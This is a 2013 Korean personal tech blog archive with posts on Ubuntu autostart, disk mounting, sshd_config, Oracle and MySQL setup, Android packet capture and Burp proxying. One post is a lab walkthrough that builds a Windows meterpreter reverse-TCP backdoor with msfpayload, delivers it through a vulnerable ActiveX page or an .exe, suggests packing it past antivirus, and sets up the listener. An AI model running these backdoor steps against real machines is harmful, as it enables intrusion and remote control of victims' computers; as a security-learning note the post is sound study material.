2013년 12월 8일 일요일

우분투 12.04 부팅 시 프로그램 자동실행

우분투 실행 시 glassfish(WAS)를 자동으로 실행하도록 등록하려고 한다.

init.d 폴더에 실행할 스크립트를 넣고 rc.local에 등록을 하면 자동으로 실행된다. 

#  vi /etc/init.d/scriptname

아래의 글 입력 후 저장
#! /bin/sh

/usr/local/glassfish4/bin/asadmin start-domain

wq로 저장 

# chmod 755 /etc/init.d/scriptname

# vi /etc/rc.local 

su 계정 /etc/init.d/scriptname 

su 계정 비 입력시 root 권한으로 서비스 실행. 

WAS의 경우 root로 실행하면 웹셀이 루트권한을 가지므로 주의해야 함.


2013년 11월 25일 월요일

리눅스 하드디스크 포맷 및 마운트 for me

테스트 환경 : 우분투 12.04(LTS) 서버 

  $ sudo su - root

root권한으로 장착된 디스크 목록 확인.

  # fdisk -l
디스크 목록 확인

만약 파티션 설정 및 포맷하려는 디스크가 /dev/sdd/라면
# fdisk /dev/sdd
원하는 데로 파티션 설정 후 저장
파티션 설정 및 저장

포맷
# mkfs.ext3 /dev/sdd1
디스크 포맷

마운트 할 디렉터리 생성
# mkdir /mnt/hdd3

마운트
# mount -t ext3 /dev/sdd1 /mnt/hdd3

마운트 확인
# df -h

부팅시 자동 마운트를 위해 /etc/fstab 수정

# vi /etc/fstab

UUID=deivceuuid /mnt/hdd3 ext3 default 0 2


ssh 설정 for me

파일경로 /etc/ssh/sshd_config
sshd_config 설정 링크


# Package generated configuration file
# See the sshd_config(5) manpage for details

# What ports, IPs and protocols we listen for
# 포트 번호 설정
Port 22
# Use these options to restrict which interfaces/protocols sshd will bind to
# 접속 허용할 IP 설정 0.0.0.0은 모든 IP 허용
#ListenAddress ::
#ListenAddress 0.0.0.0
# 프로토콜을 1을 사용할지 2를 사용할지의 여부.
# 보안상 2를 사용함.
# 프로토콜 1 vs 2 관련 링크
# Protocol 2,1
Protocol 2

# AllowUsers id1 id2 id3
# AllowGroups 허용할 그룹
# DenyGroups DenyUsers

AllowUsers 규규
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
#Privilege Separation is turned on for security
UsePrivilegeSeparation yes

# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 768

# Logging  로그 파일 /var/log/auth.log
SyslogFacility AUTH
LogLevel INFO

# Authentication:
LoginGraceTime 120 #
PermitRootLogin no # root 로그인 허용 여부
StrictModes yes # 파일체크 모드 여부
MaxAuthTries 6 # 로그인 실패3회이상 로그 6회까지 시도 가능
RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedKeysFile %h/.ssh/authorized_keys

# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
#IgnoreUserKnownHosts yes

# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Change to no to disable tunnelled clear text passwords
#PasswordAuthentication yes

# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes

X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
#UseLogin no

#MaxStartups 10:30:60
#Banner /etc/issue.net

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

Subsystem sftp /usr/lib/openssh/sftp-server

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes

2013년 10월 8일 화요일

오라클 in 우분투 for me

1. 우분투 ssh 설치 및 오라클 접속 
 1) SSH 설치 여부 확인 및 설치
     패키지 설치 여부 확인
     $ dpkg -l | grep ssh



     만약 openssh-server항목이 없다면 미 설치이므로
    sudo apt-get install openssh-server

    SSH 프로세스 시작
    sudo /etc/init.d/ssh start

 2) 오라클 접속 
    su - oracle
    lsnrctl start
    sqlplus 계정/패스워드 as sysdba
    startup

2. 오라클 사용자 생성 및 권한주기 
 1) 계정의 테이블 스페이스 생성

create tablespace [tablespace_namedatafile '/home/oracle/oradata/DANBEE/[file_name].dbf' size 500m;

예)
CREATE TABLESPACE ADMIN DATAFILE 'D:\ORACLE\ORADATA\XE\ADMIN.dbf' SIZE  500M ; 2) 오라클 유저 만들기

CREATE USER [user_nameIDENTIFIED BY [passwordDEFAULT TABLESPACE [tablespace_name]
TEMPORARY TABLESPACE TEMP;

예)
CREATE USER nextree IDENTIFIED BY nextree DEFAULT TABLESPACE NEXTREE TEMPORARY TABLESPACE TEMP;


 3) 생성한 USER에 권한주기

GRANT connect, resource, dba TO [user_name];

예)
grant connect, dba, resource to 유저명; (모든 권한 주기)

GRANT CREATE SESSION TO 유저명         // 데이터베이스에 접근할 수 있는 권한
GRANT CREATE DATABASE LINK TO 유저명
GRANT CREATE MATERIALIZED VIEW TO 유저명
GRANT CREATE PROCEDURE TO 유저명
GRANT CREATE PUBLIC SYNONYM TO 유저명
GRANT CREATE ROLE TO 유저명
GRANT CREATE SEQUENCE TO 유저명
GRANT CREATE SYNONYM TO 유저명
GRANT CREATE TABLE TO 유저명             // 테이블을 생성할 수 있는 권한
GRANT DROP ANY TABLE TO 유저명         // 테이블을 제거할 수 있는 권한
GRANT CREATE TRIGGER TO 유저명 
GRANT CREATE TYPE TO 유저명 
GRANT CREATE VIEW TO 유저명

GRANT CREATE SESSION, CREATE TABLE, CREATE SEQUENCE, CREATE VIEW TO 유저명;


 4) 생성한 USER로 ORACLE에 접속하기

sqlplus nextree/nextree[@db_sid]


 5) 계정 삭제하기

drop user
사용자계정 cascade;
-- 테이블 스페이스 크기 확장해주는 쿼리문
alter database
datafile 'D:\oracle\oradata\XE\ADMIN.DBF'  resize 900M;

--테이블 스페이스 정보 보는 쿼리문
SELECT file_name, tablespace_name, bytes, status FROM  DBA_DATA_FILES;

--테이블 명시적 인덱스 생성
--1번째 방법
CREATE INDEX MSID_IDX1 ON TEST(MSID)
--2번째 방법
create index test1_test on test1(test)
tablespace users
storage
(
initial 10k
next     10k
pctincrease 0)
pctfree 10

--테이블 정보 보는 쿼리
select * from user_constraints-- where table_name = upper('test1');

--ORA-00054: 자원이 사용중이고, NOWAIT가 지정되어 있습니다 해결 방법
select a.sid, a.serial#
from v$session a, v$lock b, dba_objects c
where a.sid=b.sid and
b.id1=c.object_id and
b.type='TM' and
c.object_name='CAR_INFO';

alter system kill session '12, 27846';
-- CAR_INFO에는 있는 값을 DASH_BOARD에 넣기
INSERT INTO DASH_BOARD(CAR_LICEN_NUM)
SELECT CAR_LICEN_NUM FROM CAR_INFO
MINUS
SELECT CAR_LICEN_NUM FROM DASH_BOARD


SYSTEM 계정 패스워드 변경하기
사용자계정 : /as sysdba

alter user system identified by "암호";
일반 스트링은 관계없지만 특수문자가 있을경우 반드시 "" 따옴표로 감싸준다.


오라클  사용자 생성 및 권한 관련 출처 : http://fordev.tistory.com/23

3. 오라클 테이블 생성 

 1) create table
create table [table_name](column1 datatype, column2 datatype, column3 datatype, column4 datatype);
create table [table_name](column1 datatype check(column1<10));
create table [table_name](column1 datatype, constraint pk_[table_name] primary key(column1));

예)
create table userinfo(idx number check(idx>0 and idx<4), id varchar2(10) not null, pass varchar2(20) not null, name varchar2(10) not null, constraint pk_userinfo primary key(id));


 2) Oracle Data Type
Character Data Type
Type
Description
Char
고정된 길이의 문자형 데이터 타입으로 테이블의 타입 선언 시 “Char”형으로 선언을 합니다또한 1-2000byte사이의 내용을 저장 할 수 있습니다.
Varchar
Varchar2
Varchar2형 타입은 가변 길이의 문자형 데이터 타입입니다최고 1-4000 byte의 문자를 저장할 수 있습니다.
Nchar
Nvarchar
저장 길이는 2000/4000으로 동일하고 유니코드에서 사용되는 문자를 저장하기 위한 타입입니다.(Transact-SQL)
LOB
LOB타입의 문자 데이터를 최대 8테라의 문자를 저장 할 수 있습니다종료는 CLOBNLOB로 나뉘어 집니다.
Long
LOB타입이 나오기 전에 사용되던 문자 타입이고 2기가의 문자를 저장 할 수 있습니다. LONG 대신 LOB 타입을 사용하는 것이 좋습니다.
ü  Unicode를 사용함으로써 Text로 저장되는 모든 문자모든 언어를 사용할 수 있는 장점이 있습니다.

Numeric Data Type
Type
Description
Number
고정된 길이를 가진 숫자 형태의 데이터타입이다범위는 1 x 10-130 to 9.99...9 x 10125이다일반적인 정수를 표기할 때 사용된다.
Floating-Point
소수점을 포함하는 데이터 타입으로 두 가지 형태가 존재한다.
Binary_float Binary_double이다. Number 형태를 포함하고 지원하는 타입이다.

Datetime Data Type
Type
Description
Date
문자숫자데이터와는 다른 타입으로 세기,,,,시간 등을 표기하는데 사용합니다길이는 고정된 길이로 7byte이다.
Timestamp
Date 타입의 확장된 모델로 TIMESTAMP WITH TIME ZONE TIMESTAMP WITH LOCAL TIME ZONE 등의 Time zone을 포함한 타입이다.

Rowid Data Type
Type
Description
Physical rowids
물리적인 주소에 해당하는 heap객체 테이블테이블 클러스터테이블이나 인덱스 파티션에 대한 위치를 저장합니다.
Logical rowids
인덱스 객체 테이블의 row 주소를 기록합니다.
Foreign rowids
외부 테이블의 정의로 DB2테이블을 사용하기 위한 gateway입니다기본적으로 Oracle데이터베이스의 표준이 아니다.




오라클 데이터 타입 관련 출처 : http://amitige.tistory.com/31

4. 오라클 INSERT  
 sql> insert into [table_name] values('value1', 'value2', 'value3', 'value4');

2013년 8월 17일 토요일

BackTrack으로 Window용 BackDoor 만들기



테스트 환경 :
BackTrack5 R3 metasploit v4.5.0-dev
Windows XP SP3

1. shellcode용 윈도우 백도어 작성

  명령 형식.
# msfpayload [module] [module-options] [option]

ex) 
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.2(공격자IP) LPORT=4444(공격자포트) J

옵션 J 는 "%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b"와 같은 형식으로 쉘코드를 출력합니다.

해당 쉘코드를 생성하면 쉘코드가 화면에 출력되는데 너무 많아 파일에 바로 넣어야 합니다.

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 J > /var/www/shell.txt

이러면 /var/www/shell.txt에 쉘코드가 저장됩니다.
파일 확인
# ll /var/www/shell.txt
-rw-r--r-- 1 root root 2257671 2013--8-13 17:50 /var/www/shell.txt





Shellcode가 두가지 생성되는데 첫번째 코드가 피해자가 공격자의 IP에 열린포트 4444로 접속을 하여 Session을 연결하는 코드입니다.

<Shellcode 예시>

shellcode를 http로 다운받기 위해 아파치 서버를 엽니다.

Applications -> BackTrack -> Services -> httpd -> apache start 버튼 클릭



웹 서비스를 시작하고 http://192.168.0.2/shell.txt를 입력하며 소스보기 저장합니다.

생성된 Shellcode가 피해자의 컴퓨터에서 실행될려면 BOF와 같은 취약점으로 Shellcode가 실행될 수 있는 조건이 필요합니다.

http://www.windowactivex.com/bbs/board.php?q=5225bc2c-a66e-4137-82ea-6938bd974d99-59-11-68-10-epagesafer-html-maonfp

또는 ActiveX

위의 URL에서 ActiveX를 다운받아 설치합니다.(윈도우 xp에서만 쉘코드 실행)
해당 ActiveX는 BOF 취약점이 존재하는 것으로써 취약점 보고서가 리포트되어 현재 서비스 되고 있지 않습니다.

HTML소스을 다운받습니다.
xp1.txt를 마우스로 가리키면 오른쪽에 아래방향 화살표가 생성되는데 클릭하시면 다운로드 가능합니다.
다운받은 xp1.txt에 새로 생성한 쉘코드로 수정하여 웹페이지를 게시하고
BackTrack에서 reverse_tcp 설정을 한 후(3번에 설명되어 있음)
ActiveX가 설치된 윈도우 xp에서 생성한 URL에 접속을 하면 쉘코드가 실행되면서 BackTrack에 접속이 됩니다.



2. 실행파일형 BackDoor 만들기

만약 테스트할 조건을 만족하지 못할경우 실행파일로 만들어 보겠습니다.

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 x > /var/www/backdoor.exe
 

당연히 백신에서 Catch 해냅니다. 백신의 실시간 검사를 OFF하시거나 실행파일을 패킹하여 백신을 우회하여야 정상적으로 실행할 수 있습니다.

3. BackTrack에서 세션 접속.

조건이 만족한다는 가정하에 피해자는 공격자 호스트에 접속하기 위해 tcp 포트 4444를 열어주어야 합니다.

# msfconsole
msf> use exploit/multi/handler
msf> set LHOST 192.168.0.11
msf> set LPORT 4444
msf> show options
msf> exploit

BackTrack에서 포트 4444번으로 Listen을 합니다.


피해자의 컴퓨터에서 백도어 Shellcode가 실행되거나 실행파일이 실행되면 공격자호스트에 쉘이 연결됩니다.

피해자 컴퓨터에서 백도어 실행.


연결된 세션 확인.

2013년 7월 22일 월요일

안드로이드 TCPDUMP 사용하기

필요 조건1. 휴대폰 - 컴퓨터의 USB 연결.
필요 조건2. adb 유틸과 Wireshark, arm용 tcpdump 바이너리 파일
필요 조건3. 휴대폰 Root권한. 즉 Rooting 필요
다운로드 : tcpdumpWireshark


ADB는 안드로이드 SDK를 설치하면 됩니다.
Rooting은 테그라크 등 블로그, 카페에서 각자의 기종에 맞는 루팅법을 제공합니다.


순서 1. /system rw권한으로 리마운트

순서 2. /system/bin 폴더에 tcpdump 파일 복사
순서 3. tcpdump 권한 6755로 변경

순서 4. netcfg로 인터페이스 확인
순서 5. tcpdump 실행
순서 6. 인터넷 접속
순서 7. Wireshark로 패킷 확인

> adb shell
# mount        (system폴더에 쓰기 권한 있는지 확인을 위해)
# mount -o remount,rw /dev/block /system  (read, write 권한으로 /system폴더 리마운트)
> adb push tcpdump-arm /system/bin
> adb shell
# cd /system/bin
# ls -al tcpdump-arm
# chmod 6755 tcpdump-arm
# netcfg
# tcpdump-arm -i 인터페이스 -s 0 -w /sdcard/capture.pcap






테스트를 위해 임의의 app에서 틀린 ID/PASS로 접속시도



이제 파일에 패킷이 저장되었는지 확인합니다.
pcap파일을 컴퓨터로 복사합니다.

> adb pull /sdcard/capture.pcap

Wireshark로 packet확인


로그인에 입력하였던 ID/PASS가 평문으로 확인

2013년 4월 29일 월요일

widecap 사용법


Widecap 설치 후 실행합니다. 

Proxies 탭에서 New Proxy 를 선택하여 추가합니다. 

Server Port 에 127.0.0.1:8080을 입력하고 HTTP Proxy 를 선택 후 

Chain을 하나 만들어 사용하기 편한 이름을 입력 후 OK합니다.

본 그림에서는 http로 입력하여 만들었습니다.

<그림 1> Proxies 추가

이제 룰을 추가할 차례입니다. New Rule을 선택하여 
금방 만든 Chain인 http를 선택하고

<그림 2> Rules 추가1

Addresses 탭에서 PROXY에 Any, Any로 하나 만듭니다.

<그림 3> Rules 추가2

이 후 윈도우 아이콘에 있는 Widecap에 우클릭하여
Enable WideCap을 체크 해제했다가 다시 체크합니다. 

<그림 4> Widecap 활성화


javaw -jar -Xmx512m burpsuite를 실행하여 intercept is on을 사용하도록 두고 

<그림 5> Burpsuite 실행

Proxy로 진단하려는 프로그램을 드래그하여 Widecap에 추가합니다.

<그림 6> 프로그램 추가

진단 하려는 프로그램에서 로그인 시도 시 Burp에서 패킷을 잡는 것을 확인합니다.



이상 widecap 사용법 이었습니다.


2013년 2월 12일 화요일

mysql 언어셋 euckr로 변경




#vi /etc/mysql/my.cnf

[client]
default-character-set = euckr


[mysqld]
character-set-client-handshake=FALSE
init_connect="SET collation_connection = euckr_korean_ci"
init_connect="SET NAMES euckr"
character-set-server = euckr
collation-server = euckr_korean_ci

[mysqldump]
default-character-set=euckr

[mysql]
default-character-set=euckr

추가 후 저장

mysql 서비스 재시작
#service mysql restart

2013년 1월 26일 토요일

리버싱의 기초_크랙미

리버스 엔지니어링을 공부 할 때에 가장 기초적으로 해보는 크랙미

그 중 abex_crackme Level1~5까지의 파일을 공유합니다.

확장자를 .zip로 수정하여 사용하시기 바랍니다.

크랙미 다운로드